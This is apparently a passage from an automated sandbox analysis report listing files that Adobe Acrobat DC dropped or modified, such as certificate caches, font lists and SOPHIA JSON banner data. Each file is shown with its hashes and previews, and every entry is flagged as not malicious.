SHA-512:	491A92601ADEF3E0D21AC3AA13A4B260B5244F0090C0A2871A711D0BDD5D6EF3295EFD720ADBACA3D7655205F78BD67E85CAACEE46ADC5C9A57C452CEAEABBF0
Malicious:	false
Preview:	.... .c.....g8.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklP4JBBbNttfllXlE/HT8kGz1NNX8RolJuRdxLlGB9lQRYwpDdt:kK/JHPeT8fNMa8RdWBwRd
MD5:	47CFA0A3E014C786EBD7AC61CCEC3675
SHA1:	7E033017CB113653B426229569D4CBD377122106
SHA-256:	1FBEC12EE5ED2B93FBA10ACC3DBACA1CCB4121B37DB5AF4BB09AFCD54B4FBE49
SHA-512:	18FBD22DE19D0988ACE3E7EFB0614AA49379C388AB22335FA4837FBECF8C501B753643F1FDC8D9F018BB8078C380E846CC733345525005BDA1376F091F522412
Malicious:	false
Preview:	p...... .........],.sc..(....................................................... ..........W....7+..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2139972103064514
Encrypted:	false
SSDEEP:	6:kKIssL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:4iDImsLNkPlE99SNxAhUe/3
MD5:	D35B9ECEC00CA32F25EBD76C9ABA677F
SHA1:	672F05E8CE97721E2E9D2483185EC19F470DB649
SHA-256:	C19EA5B93E1900B24C4D8C8975F8905DCDACF37583060888D945DC1457F769BB
SHA-512:	77D22BAA4FDEDC5FC9211D89F253BB02FD0B6312273B08813D60A6C2887EF9E9A386857CC9B7876BBB7501176D29736FDAEF204F82073085204500FF6F4240F0
Malicious:	false
Preview:	p...... ..........l.sc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1556

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1556

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351376938721506
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJM3g98kUwPeUkwRe9:YvXKXFA9rT5LjIPDGMbLUkee9
MD5:	C895A2A55BE484D7ADF8788D871F9ED0
SHA1:	47582B0F20FBB5459135EAE71AE11E07742B9A9E
SHA-256:	B284B54AD5A9D0DD79F35933A6354B6D2BB956D96A04B6EF7156D918BB8D5287
SHA-512:	B55386F5C4F8A0F56CA752467199A2F2C84B5B3D23DE3523CB2FFE7F2A8D3281C2AC8F3307FF62A41A8FEC15096B9F74FC104EBABDD424D780AE5B0E8CEA4457
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304431250023681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfBoTfXpnrPeUkwRe9:YvXKXFA9rT5LjIPDGWTfXcUkee9
MD5:	D99DAB64B671A11D251DD3ACA1598CCC
SHA1:	CEAC1A42EF40B50A44492A0D016FF80179F99FCD
SHA-256:	4C87934B15C68F306BC6A0FEF49E387D53BDA7832BCA9C9E9526563E88850038
SHA-512:	53EAB0BCEED32E4FC3E09A37EA76317BB4A4C35B154475AD3540A456F9CB298CC2D2EA2055D3948BC5FF5A8422943AFA4418478BA03E3653B502CE27A3EC54B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282383850023041
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfBD2G6UpnrPeUkwRe9:YvXKXFA9rT5LjIPDGR22cUkee9
MD5:	CFE6CE2DFAA39A88F757CB39E0EB8B9E
SHA1:	B7E89309F81AB9050ADDF557FB972C635F6F1D8F
SHA-256:	64F048233FE0673739C19B67DE2CB924DDBCC022704B62A1C2F041403973847A
SHA-512:	8783BA7F2B04FE99E72BABEF762D680EB184C6827C88052AAE8BB7A5525BC827A08103666C91F5D205449BB7BF90CA830231CCF38FA4AAA52889514973BB7A60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331958394171627
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfPmwrPeUkwRe9:YvXKXFA9rT5LjIPDGH56Ukee9
MD5:	08F956B08B2232235BC9EA14B790DEBE
SHA1:	6FEE5FFCF4AF39542844D6856D4475E0FFE07766
SHA-256:	368DB0A2E2077B2706C9F98EC6F85D8CCF8B1B0FE65661DA30E51B8E9B37B9CF
SHA-512:	7A3064E5A81840A4FD0FB37DF60ECE259F28023B1ADBFF762A8AAA5910398F171032F2E4BCA1006CB68BF39EA263320338259A75DE4CF549043D18E03493F5AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.698293137947814
Encrypted:	false
SSDEEP:	24:Yv6XIrT5XIApLgE9cQx8LennAvzBvkn0RCmK8czOCCS5:YvNXdhgy6SAFv5Ah8cv/5
MD5:	1A05BB64D45317098BC8848E5AB27C92
SHA1:	615D8E7B3E91BD8184F5DC5F59303F2DC2FE098F
SHA-256:	6FE039661E33079C388613346CD7FA934E653490A7461D42E55E92BD8652AE95
SHA-512:	E3F032DEC55020644674FE15933F17B7ACEAF713FD7A32E0340178DF142159DAC30C4F4ABE4BDD6F2A68286DEE5E6D6A89B9D027FC396A2D27E621A681F98565
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307443868978021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJf8dPeUkwRe9:YvXKXFA9rT5LjIPDGU8Ukee9
MD5:	0D7BFD816A869B3A78DB4141E8CE0C5D
SHA1:	6DE071030F0CEA322EA8DBAAE693827461CD5A94
SHA-256:	37C99C48E638DD7DEA9D3915B786F892E978DCE853E7FD4FBEB2C8DE3C592ECF
SHA-512:	F5016CE61145EFFABC735254758FE3A6D7557E84BF806753714A58A37BCE796B4BBA1A879334D24135073DE04CED4F9586C7A2C906841472555F4B05284141F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299796840221923
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfQ1rPeUkwRe9:YvXKXFA9rT5LjIPDGY16Ukee9
MD5:	A118983A72B4A1D3293466F38715CDC7
SHA1:	9295D0C4EED551FE1B9E5DDBEFAF505625D1FCD9
SHA-256:	434C92AFBA24F5794DBD9AD911FD5E912E12ADE02FABDA2158DE623D07EF4AA0
SHA-512:	4569B276B4171418247F998A9496B0C8F9D2FE3AC8290012861330B37C6C7904C5FED9FE4A136077967424527CB773211D1970065165B3EE9C2EE3F0E37B063B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317942823290673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfFldPeUkwRe9:YvXKXFA9rT5LjIPDGz8Ukee9
MD5:	A05E549502449B713DC05069CEDDFF55
SHA1:	7C7A74CFA416A35A0F70BE4FF6931B49A2C6EC77
SHA-256:	BBD7177F759A640FA9FACE6E5E8A59E05DB54A280D525A53558249D558270E3A
SHA-512:	C1865E6888EF12D1DE508FF8E27E95F8D4751E88580763E31D71008D1A48DE0AD99D88A6F2EE3470F150C76DAC825CA6EF098829A701EC5C23C91D19ECD76BE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2c4ffabf-4a91-4402-bbc1-37054a186270","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736698700208,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.333746386754472
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFPiVVP4mSg1c2LjcWkHvR0Y1eoAvJfzdPeUkwRe9:YvXKXFA9rT5LjIPDGb8Ukee9
MD5:	A298565CC82FD8605DC509E14712450F
SHA1:	EA70127DA08CF29F73759BF94C12D8B9F562D6C6
SHA-256:	27108E426CE32EAD62EE067C9B69B3CAF5E54B2E4A9D645ADC81A16E51D49994
